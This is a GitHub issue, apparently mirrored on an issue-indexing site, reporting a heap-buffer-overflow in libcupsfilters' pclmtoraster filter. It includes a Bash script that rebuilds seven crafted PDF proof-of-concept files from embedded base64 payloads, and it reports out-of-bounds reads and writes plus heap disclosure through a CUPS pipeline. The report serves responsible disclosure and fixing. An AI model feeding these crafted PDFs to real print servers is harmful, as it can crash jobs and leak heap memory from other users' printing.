OpenPrinting / OpenPrinting/libcupsfilters

pclmtoraster: declared image dimensions exceed decoded stream storage

Open
#185 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

pclmtoraster allocates its page bitmap from the number of bytes actually
read from each PDF image stream, but later processes the bitmap using the
image's declared Width, Height, and color space. A syntactically valid
one-page PDF with a one-byte RGB image stream and 100 x 100 dimensions
causes heap-buffer-overflow reads and writes in the real standalone filter
pipeline. A near-complete stream also shows that the unrotated path copies
bytes beyond the allocation into generated Raster output.

The current implementation tests the object Type against lowercase
image, rather than testing the standard /Type /XObject /Subtype /Image
pair. The PoC therefore uses /Type /image: it is a syntactically accepted
PDF and reaches a parser state available to a document explicitly submitted
as PCLm, but it is not a semantically conforming PCLm image object. This
reduces deployment reachability and is stated separately from the memory
primitive. The current media_box_lookup() logic also rejects a page when
pdfioDictGetRect(..., "MediaBox", ...) succeeds, so the PoCs omit the
normally required page box to pass that reversed check.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pdf is a 624-byte, one-page PDF 1.4 document. pdfinfo
accepts it and reports a Letter page rotated by 90 degrees. Its image object
declares /Width 100, /Height 100, /ColorSpace /DeviceRGB, and
/Length 1. The file SHA-256 is:

384e20315f8fa97c8cd183e4895b209c22ef3a9d68c5731aa6372e745e513884

Run:

./reproduce.sh

poc/minleak-16x1.pdf is the compact output-disclosure variant: it declares
48 RGB bytes but supplies one. poc/nearfull-rotate0.pdf declares 30,000 RGB
bytes but supplies 29,976 attacker-controlled Q bytes. Run:

./reproduce-output.sh

Their SHA-256 values are:

c2bd1849d08cd6235ae7f4b2dbfa180cf8fe9a59f039bc0d12dd25bbff0751f5  poc/minleak-16x1.pdf
be5283b912385ddaf612bf646293db3d2cc7e86055874832d474c429ce3e95f7  poc/nearfull-rotate0.pdf

poc/exact-gray-1x1.pdf supplies exactly one byte for a declared 1-by-1
DeviceGray image. The filter nevertheless selects an RGB-to-white converter
and reads three bytes. Twenty plain replays produced 19 distinct final Raster
bytes, proving a one-byte adjacent-heap disclosure without a short image
stream. Run ./reproduce-exact-gray.sh; its SHA-256 is:

b553eb6e569023130c7e825399bb8efa47f156bc1814783a8646505d30689f9f

An isolated CUPS d24aab0 scheduler also accepted the compact case when the
client explicitly supplied document-format=application/pclm. It selected
the installed pclmtoraster conversion, launched the unmodified plain filter,
and passed its output to a capture backend. The concise scheduler trace is in
cupsd-pipeline.txt; the 1,818-byte backend stream is
cupsd-captured-output.ras.

The dedicated raw fuzz_cupsfilters_pclm_to_raster target reproduces the same
line-384 signature with -runs=1; its diagnostic is in harness.txt.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pclmtoraster: declared image dimensions exceed decoded stream storage
# Finding ID: pclmtoraster-short-image-stream-heap-oob
# Trigger: pclmtoraster allocates its page bitmap from the number of bytes
# actually read from each PDF image stream, but later processes the bitmap
# using the image's declared Width, Height, and color space. A syntactically
# valid one-page PDF with a one-byte RGB image stream and 100 x 100 dimensions
# causes heap-buffer-overflow reads and writes in the real standalone filter
# pipeline. A near-complete stream also shows that the unrotated path copies
# bytes beyond the allocation into generated Raster output.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (624 bytes)
write_file document.pdf 384e20315f8fa97c8cd183e4895b209c22ef3a9d68c5731aa6372e745e513884 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA21RXU/CMBR976+4Lzxq121dICEkwkSNJiCQaGJ8KNtllLAV22LUX2+7TSHObdlu
Ts9X1948nV6wy5gwCECtd2Q4BLr6PCDQibBirwqgc1GggdARFjAaEaxyTww7goZH72Vu4CXy9Ffn
oo6VBXYmjP4V+rdGR21y6EJZYREGgRvRqKPOnLeXPM/WO8xsPd+VAcRtL/+4tMo6EwP8T9u4EyrL
OvVJ5nYLLHA5tyiLrW3midorvTyIzFFSfJcZLm7GQMfSmjnqiSoPqvJt+0AfsCq8hU8zVqMoyZWP
bee2AD8r0Cqic8lbnevvn29WNhtMFTx2/T40bkgACQl+L0g4jzhs4IQNoFmpThjvdzDGeAcLo7CD
RQk7YVYLuUddb2gpvxASf2jKn3X7640V2tY945iRXu96NiXflM8WGnACAAA=
POC_PAYLOAD_0

# Malformed or boundary document consumed by the real filter/API.
# Output: exact-gray-1x1.pdf (723 bytes)
write_file exact-gray-1x1.pdf b553eb6e569023130c7e825399bb8efa47f156bc1814783a8646505d30689f9f <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3VRTU/CQBC976+YC0ft51ZISA+AKFEDtiaaEA5LO5QltIvbxYC/3u22kWp1D5ud
mTdv3pvtLSbTK+faJw7YINY7MhyC9XI+IFhjptheZGAtWIYluBoQQRgSLNIK6HYaapz1wNMSll4F
X2kWcSwUOGA9YcrZSJxgaetS4LhwM3BXLULvT8Lqlqgp6vlWJBRTqN+aeS9kfGCJxkzwgyd4J9lZ
I7AUR5loKRVTC2XC2P6BDkOw3ubrHSbK1Ge5DX7j1BTHolB6fAn0l3+/I5fnRm98XCsTz+r4ladq
W23gHnm2Nbv4T/qIq3KBcizygygq032wHrHITL8eXSqJLCdRpaF5N2poS03T4dFWy7v5YBvqO8mJ
2URSEuN4Ishzl/MkcUP0VxH7+0BAqebdwCU3gLpSXHK038k5XhfnOX4n59PgklOS8T1KYyrmnwhB
9f9CGRdR7Y5JZXRS3ya93u18Sr4A81NWidMCAAA=
POC_PAYLOAD_1

# Malformed or boundary document consumed by the real filter/API.
# Output: minleak-16x1.pdf (597 bytes)
write_file minleak-16x1.pdf c2bd1849d08cd6235ae7f4b2dbfa180cf8fe9a59f039bc0d12dd25bbff0751f5 <<'POC_PAYLOAD_2'
H4sIAAAAAAACA21Ry04CMRTd9yvuZpba6TwaFmQSAVGjCTiYaGJclOEylDBTbItR/0s/gC+zHUAI
0Cbtzek595y2wbDXv2CXCQnWP+tfQhiEoMZz0m7Tp68l0q6wYqFKOhQlGojcaZ5lBOuJJ5HoiN2w
6L2cmNfYU99oV61qC+xAE5/RuEWj4zX9aa6ssAghzdGolS7QOO7LYDzHwrrqrgoh2QTJMmdQWyc1
kB5lS458ZOWNnuXEzoBxeouynLlkrsFC6dFSFEh7+CELzG86tCOtGaLuqmqpap+sRR+wLr3UWRir
UVTkyntt651runfdCuIDxTuwMAQ/d3tRQXOhnoJHcqbfp8YpCYGT8H8AT9OYwxT+McZhc1LvMR6d
YIwlJ1jEWidYHB/0I1YLuUDtbzSS3wjc/Y9yD7d9bmOFtk3KhHESBNeDPvkD+O/4wVUCAAA=
POC_PAYLOAD_2

# Malformed or boundary document consumed by the real filter/API.
# Output: nearfull-rotate0.pdf (30581 bytes)
write_file nearfull-rotate0.pdf be5283b912385ddaf612bf646293db3d2cc7e86055874832d474c429ce3e95f7 <<'POC_PAYLOAD_3'
H4sIAAAAAAACA+3dQU7bQBTG8f2c4m2ybMdjJ24ioSxIClStRDBIrVR1YZwhGMWe1B6qtvcqB+Bk
jE0gKLDp/v+zZFvP782MT/ANFvOjd+b9UA3u/93fKWUkEnd5ow4O9MWfjdWz3Odrt9KLfGVbicPX
bDpVtl52TSre6+679Ody2X5PutYfeuZuay/mxUzyxky4NTb09evrzPncW4l0Zlt32xS2Db3fTi9v
bOHD26cqkuHjQabTsEHtw2gro72zDff2Katuo6/l0l+LiSJ9YsvVte9fZ27tmvNNXlg9t7/KwmbH
h/qw9O3CNjNXbVzdHW6sv9h6FabjyeRDGnZqfWPzSp0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAwH/qkli3EalPmayjXSbrNks1Mbsg1Z9dGKt019OzqKSPe507OVNv
rPe7sVcqklRFzyQdjZJUruS5ZlJ5/FLvamn8qmbM8FUtNuO9WhIlL2vKN3m5tk33R+flXyupzpzz
YrZhtK3PG9+fMgxOxmow+Hh6pB4Aux25L3V3AAA=
POC_PAYLOAD_3

# Malformed or boundary document consumed by the real filter/API.
# Output: nearfull-rotate180.pdf (30583 bytes)
write_file nearfull-rotate180.pdf 960ef02eff67e2cfc979ca3a5ccab6a80276256be2af689b09d11c525fbeae25 <<'POC_PAYLOAD_4'
H4sIAAAAAAACA+3dT0/bMBjH8btfhS89braTNAMJ9UA7YNokSpi0SYhDSE0JauLOMdO29zVeAK9s
TigUFS67fz+REuvx4z95Bb/RfHb0zrzPxOjh78O9EEZq6a5uxcGB+vp7bdW0DOXKLdW8XNpOJnG2
mEyEbRd9k0h2uocu9bledBdp33qppu6uDdK8WJO+sSa+vI19w/6qcKEMVpo9rQrbuTtf2S52fz+9
urVViKNPjZbZ41Umk3hEG+LiTo53bpftnFQ3/VHf6kW4kUZrdWLr5U0YhlO3cv58XVZWzezPurLF
8aE6rEM3t37qmrVr++vtqS+2XcbVyf7+hzye1AVvy0acAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAMB/6pNYNxGpT5ms420m6yZLNTXbINUffRir7J+nb9XIIe515uSZ
eGO/X95eCy1zoZ/JfDxOc3ktn2sml48z7baWJ69qxmSvakmid2qpTl/WRPBlvbK+/6Pz+o+VuSqc
C9Jswmi7UPow3DLVmdZiNPp4eiT+AWa/WZx3dwAA
POC_PAYLOAD_4

# Malformed or boundary document consumed by the real filter/API.
# Output: nearfull-rotate270.pdf (30583 bytes)
write_file nearfull-rotate270.pdf 1caf2ce226ceb5680305d3956a54244ab85daee02a9ad6d47f56cdc884d87234 <<'POC_PAYLOAD_5'
H4sIAAAAAAACA+3dT0/bMBjH8btfhS89braTNAwJ9UA7YNokSpi0SYhDSE0JauLOMdO29zVeAK9s
TigUFS67fz+REuvx4z95Bb/RfHb0zrzPxOjh78O9EEZq6a5uxcGB+vp7bdW0DOXKLdW8XNpOJnG2
mEyEbRd9k0h2uocu9bledBdp33qppu6uDdK8WJO+sSa+vI19w/6qcKEMViZ7WhW2c3e+sl3s/n56
dWurEEefGi2zx6tMJvGINsTFnRzv3C7bOalu+qO+1YtwI43W6sTWy5swDKdu5fz5uqysmtmfdWWL
40N1WIdubv3UNWvX9tf7oL7YdhlXJ/v7e3k8qQvelo04AwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAID/1CexbiJSnzJZx9tM1k2Wamq2Qao/+jBW2T9P36qRQ9zrzMkz
8cZ+v7y9FlrmQj+T+Xic5vJaPtdMLh9n2m0tT17VjMle1ZJE79RSnb6sieDLemV9/0fn9R8rc1U4
F6TZhNF2ofRhuGWqM63FaPTx9Ej8AykhBuN3dwAA
POC_PAYLOAD_5

# Malformed or boundary document consumed by the real filter/API.
# Output: nearfull-rotate90.pdf (30582 bytes)
write_file nearfull-rotate90.pdf 38bcc55e28ddf15b8be10084bad58039814fb63a723488563260aed37ba1385b <<'POC_PAYLOAD_6'
H4sIAAAAAAACA+3dQU7bQBTG8f2cYjZZlvHYiVtLKAuSQisqEUylVqq6MM4jGMWeYA9V23u1B+Bk
HZtAUGDT/f9nybae35sZn+AbLebHb+zBWI3u/9z/VcrqSLvLG3V4aD7/2oiZFb5Yu5VZFCvpdBy+
5tOpkmbZN6l4r3voMqfVsvuW9K3fzczdNV7bZzPJKzPh1kroG9Y3ufOFF51FJpfO3bWldKH569nl
jZQ+vH2sIz1+OMl0GnZofJjt9GTvcOO9jaq63+lLtfTX2kaR+SDV6toPrzO3du3FpijFzOVHVUp+
cmSOKt8tpJ25euOa/nTvzCdpVmE6zrK3adip860UtToHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgP/UJ7FuI1IfM1knu0zWbZZqYndBqrd9GKvur8dnWesh7nXu9Ll6
Zb2frVypSKcqeqLTySRJ9ZV+qtlUP3xpdrU0flGzdvyiFttsr5ZEyfOa8m1RraXt/+ii+i06Nblz
XtttGG3ni9YPpwyDWaZGo/dnx+ofvZXD3HZ3AAA=
POC_PAYLOAD_6

Result

ASan reports a heap-buffer-overflow read in rotate_bitmap() at
pclmtoraster.c:384, called from out_page() at line 1085. The plain build
terminates with SIGSEGV, exit 139, confirming that this is not specific to
the sanitizer runtime.

Rotate 0, 90, 180, and 270 all reach heap-buffer-overflow reads.
The unrotated path passes a complete declared row to
cupsRasterWritePixels(). The 16-by-1 plain replay places 47 adjacent heap
bytes, including allocator pointers and a SignedAttributes fragment, in
Raster output. The near-complete case makes the final 24-byte boundary
especially clear.

The isolated scheduler replay confirms deployment routing as well as the
standalone primitive. Its capture backend received a pointer-bearing Raster
suffix before CUPS recorded the filter's SIGSEGV and stopped that job.

The exact Gray variant reaches cfImageRGBToWhite() at
image-colorspace.c:888 before the duplicate second-page pass terminates the
process. Its first page remains observable in captured Raster output.

The rotated paths also write into a destination allocated from the short
pixel_count. For the near-complete case, the first 24 bytes after that
destination are copied from attacker-controlled source offsets. Thus the
overflow length and values are controlled, but the address is only the
contiguous region after bitmap2; this is not an arbitrary-address write.
No instruction-pointer control or code execution has been demonstrated.

Cause and expected behavior

process_image() performs one pdfioStreamRead() of at most
sizeof(buffer) bytes and grows data->bitmap by only that returned bufsize
(pclmtoraster.c:853-869). It independently trusts the dictionary dimensions
at lines 856-873. out_page() then rotates and emits pixels according to the
declared page geometry at lines 1081-1105 without proving:

pixel_count >= width * height * bytes_per_pixel

The filter should validate every image stream against checked dimension and
color-component arithmetic before rotation or raster output. Short or
inconsistent streams should reject the page without reading or writing beyond
the decoded allocation. It should also read streams to completion, check
stream errors, recognize standard /Type /XObject /Subtype /Image objects,
and call out_page() once per page rather than twice.

Converter selection must use the image object's declared color space, or reject
a page/image color-space mismatch. Exact decoded length is insufficient when
the selected converter consumes a different number of components.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with pclmtoraster.c:384 in rotate_bitmap() and its caller out_page() at line 1085; compare bitmap allocation and processing against the declared image dimensions and stream length. Reproduce with ./reproduce.sh and the exact-gray or nearfull scripts, then use the ASan signature and generated Raster output to verify that short streams no longer overflow.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.